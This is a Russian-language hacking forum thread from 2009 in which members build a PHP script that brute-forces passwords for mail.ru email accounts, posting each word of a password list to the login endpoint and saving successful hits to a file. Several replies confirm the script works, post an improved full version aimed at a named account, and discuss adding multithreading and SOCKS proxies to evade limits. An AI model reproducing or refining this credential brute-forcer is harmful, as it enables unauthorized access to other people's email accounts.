Давести php до ума.

Discussion in 'PHP' started by dewwil, 20 Feb 2009.

  1. dewwil

    dewwil New Member

    Joined:
    13 Feb 2009
    Messages:
    14
    Likes Received:
    0
    Reputations:
    0
    Как доделать этот скрипт до нормального брута? Может у кого есть норм брут. Был бы очень благодарен.
    PHP:
    <?php 
    $login
    ="login";
    $domain="mail.ru";
    $at="@";
     
    $xfile = @file("pass.txt");
    for (
    $i=0;$i<count($xfile);$i++)
    {
    $pass trim($xfile[$i]);
    $hostname "win.mail.ru"
    $path "/cgi-bin/auth"
    $fp fsockopen($hostname,80); 
    if(!
    $fp){
    echo
    "А****ть!";
    }
    else{ 
    $data "Login=$login&Domain=$domain&Password=$pass&page=1&post=1&login_from=1\r\n\r\n"// отправляемые даные!
    $headers "POST $path HTTP/1.1\r\n"
    $headers .= "Host: $hostname\r\n"
    $headers .= "Connection: close\r\n"
    $headers .= "User-Agent: Opera/9.20 (Windows NT 6.0; U; en)\r\n"
    $headers .= "Accept: text/html,image/jpeg,image/gif,text/xml,text/plain,image/png,* /*;q=0.5\r\n"
    $headers .= "Accept-Language: en-us,en;q=0.5\r\n"
    $headers .= "Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\n"
    $headers .= "Referer: $hostname\r\n"
    $headers .= "Content-Type: application/x-www-form-urlencoded\r\n"
    // вставишь свои куки ток аони не нужны...гг
    //$headers .= "Cookie:\r\n"; 
    $headers .= "Content-Length: ".strlen($data)."\r\n\r\n"

    fputs($fp,$headers.$data); 

    while(!
    feof($fp))
     {
     
    $file_saper=fread($fp,1000);
         if (
    eregi("Location",$file_saper))  
    {  
    $fp=fopen("good.txt","a");
    fputs($fp,"$login$at$domain;$pass\n");
    fclose($fp);


    echo
    "Нашелся пароль уже... все ..мож дальше не искать!";
    exit;
     }
     }
    }
    }  
    fclose($fp); 


    ?>
     
  2. fatalo

    fatalo Elder - Старейшина

    Joined:
    15 May 2008
    Messages:
    45
    Likes Received:
    46
    Reputations:
    5
    dewwil,а чем тебя этот вариант не устраивает?
    Раcкомментируй код до конца
    Мои рекомендации:
    Добавить сет_тайм_лимит(не у всех он установлен на "бесконечность")
     
    #2 fatalo, 20 Feb 2009
    Last edited: 20 Feb 2009
  3. fatalo

    fatalo Elder - Старейшина

    Joined:
    15 May 2008
    Messages:
    45
    Likes Received:
    46
    Reputations:
    5
    А код рабочий,только что проверил на своем ящике
     
  4. dewwil

    dewwil New Member

    Joined:
    13 Feb 2009
    Messages:
    14
    Likes Received:
    0
    Reputations:
    0
    А как впихать туда многопоточность и соксы?
     
  5. Zedi

    Zedi Elder - Старейшина

    Joined:
    6 Jun 2007
    Messages:
    316
    Likes Received:
    120
    Reputations:
    13
    Многопоточность никак, в PHP нет многопоточности, а соксы в полезных скриптах выкладывали класс для работы с ними
     
  6. fatalo

    fatalo Elder - Старейшина

    Joined:
    15 May 2008
    Messages:
    45
    Likes Received:
    46
    Reputations:
    5
    Zedi,сейчас набежит много много народу и начнет спорит насчет многопоточности на пыхе :))
     
    1 person likes this.
  7. dewwil

    dewwil New Member

    Joined:
    13 Feb 2009
    Messages:
    14
    Likes Received:
    0
    Reputations:
    0
    а как зделать сет_тайм_лимит?
     
  8. fatalo

    fatalo Elder - Старейшина

    Joined:
    15 May 2008
    Messages:
    45
    Likes Received:
    46
    Reputations:
    5
    PHP:
    <?php 
    set_time_limit
    (0); 
    $login="antichat"
    $domain="mail.ru"
    Кусочек твоего кода с изменениями.Я бы добавил еще,что бы после каждой неудачной попытки выводилось примерно следующее:
    Это удобно,да и дописать всего 4 строчки
     
    #8 fatalo, 20 Feb 2009
    Last edited: 20 Feb 2009
  9. AdReNa1!Ne

    AdReNa1!Ne Elder - Старейшина

    Joined:
    24 May 2007
    Messages:
    70
    Likes Received:
    105
    Reputations:
    14
    Многопоточность - неблокирующие сокеты. но это жуткий гемор, ну нах.
     
  10. dewwil

    dewwil New Member

    Joined:
    13 Feb 2009
    Messages:
    14
    Likes Received:
    0
    Reputations:
    0
    чета запускаю скрипт а мне выдает
    Warning: fsockopen() [function.fsockopen]: php_network_getaddresses: getaddrinfo failed: Temporary failure in name resolution in /home/www/xxx.100webspace.net/sws.php on line 11

    Warning: fsockopen() [function.fsockopen]: unable to connect to win.mail.ru:80 (Unknown error) in /home/www/xxx.100webspace.net/sws.php on line 11
     
    #10 dewwil, 20 Feb 2009
    Last edited: 20 Feb 2009
  11. fatalo

    fatalo Elder - Старейшина

    Joined:
    15 May 2008
    Messages:
    45
    Likes Received:
    46
    Reputations:
    5
    Что-то с хостом.Пробуй на денвере
    Вот этот код(немного изменный) работает на отлично:
    PHP:
    <?php 
    set_time_limit
    (0); 
    $login="shock.world"
    $domain="inbox.ru"
    $at="@"
     
    $xfile = @file("pass.txt"); 
    for (
    $i=0;$i<count($xfile);$i++) 

    $l=$i+1;
    $pass trim($xfile[$i]); 
    $hostname "win.mail.ru";  
    $path "/cgi-bin/auth";  
    $fp fsockopen($hostname,80);  
    if(!
    $fp){ 
    echo
    "А****ть!"

    else{  
    $data "Login=$login&Domain=$domain&Password=$pass&page=1&post=1&login_from=1\r\n\r\n"// отправляемые даные! 
    $headers "POST $path HTTP/1.1\r\n";  
    $headers .= "Host: $hostname\r\n";  
    $headers .= "Connection: close\r\n";  
    $headers .= "User-Agent: Opera/9.20 (Windows NT 6.0; U; en)\r\n";  
    $headers .= "Accept: text/html,image/jpeg,image/gif,text/xml,text/plain,image/png,* /*;q=0.5\r\n";  
    $headers .= "Accept-Language: en-us,en;q=0.5\r\n";  
    $headers .= "Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\n";  
    $headers .= "Referer: $hostname\r\n";  
    $headers .= "Content-Type: application/x-www-form-urlencoded\r\n";  
      
    $headers .= "Content-Length: ".strlen($data)."\r\n\r\n";  

    fputs($fp,$headers.$data);  

    while(!
    feof($fp)) 
     { 
     
    $file_saper=fread($fp,1000); 
         if (
    eregi("Location",$file_saper))   
    {   
    $fp=fopen("good.txt","a"); 
    fputs($fp,"$login$at$domain;$pass\n"); 
    fclose($fp); 
    echo
    "Пароль найден.Пароль: <b>$pass</b>"
    exit; 
     }
     }
    echo 
    "Попытка номер $l неудачна<br>";
    flush();

    }
        
    fclose($fp);  


    ?>
     
  12. AdReNa1!Ne

    AdReNa1!Ne Elder - Старейшина

    Joined:
    24 May 2007
    Messages:
    70
    Likes Received:
    105
    Reputations:
    14
    Другой хостинг нужен.
     
  13. Sharky

    Sharky Elder - Старейшина

    Joined:
    1 May 2006
    Messages:
    487
    Likes Received:
    312
    Reputations:
    46
    многопоточность и соксы можно через курл сделать
     
  14. AdReNa1!Ne

    AdReNa1!Ne Elder - Старейшина

    Joined:
    24 May 2007
    Messages:
    70
    Likes Received:
    105
    Reputations:
    14
    Покажи мне многопоточность через курл.
     
  15. fatalo

    fatalo Elder - Старейшина

    Joined:
    15 May 2008
    Messages:
    45
    Likes Received:
    46
    Reputations:
    5
    Началось :)
     
  16. dewwil

    dewwil New Member

    Joined:
    13 Feb 2009
    Messages:
    14
    Likes Received:
    0
    Reputations:
    0
    Кинь ссылку.
     
  17. Chaak

    Chaak Elder - Старейшина

    Joined:
    1 Jun 2008
    Messages:
    1,059
    Likes Received:
    1,067
    Reputations:
    80
    Считайте, что в php нет многопоточности
     
  18. AdReNa1!Ne

    AdReNa1!Ne Elder - Старейшина

    Joined:
    24 May 2007
    Messages:
    70
    Likes Received:
    105
    Reputations:
    14
    я про тоже.
    интерпретатор выполняет код построчно.
    Тоесть в любом случае, команды запускаются не одновременно, а одна за другой.
     
  19. dewwil

    dewwil New Member

    Joined:
    13 Feb 2009
    Messages:
    14
    Likes Received:
    0
    Reputations:
    0
    пробовал на другом хосте запускать, пишет следующее:
    Warning: fsockopen(): unable to connect to win.mail.ru:80 in /home/s/xxx.h18.ru/WWW/cgi-bin/sniff.php on line 13
    А****ть!
    Warning: fclose(): supplied argument is not a valid stream resource in /home/s/xxx.h18.ru/WWW/cgi-bin/sniff.php on line 49
     
  20. AdReNa1!Ne

    AdReNa1!Ne Elder - Старейшина

    Joined:
    24 May 2007
    Messages:
    70
    Likes Received:
    105
    Reputations:
    14
    тоже не работает на этом.
    А ошибка вылезла из-за того, что он не смог открыть сокет -> ему нечего закрывать.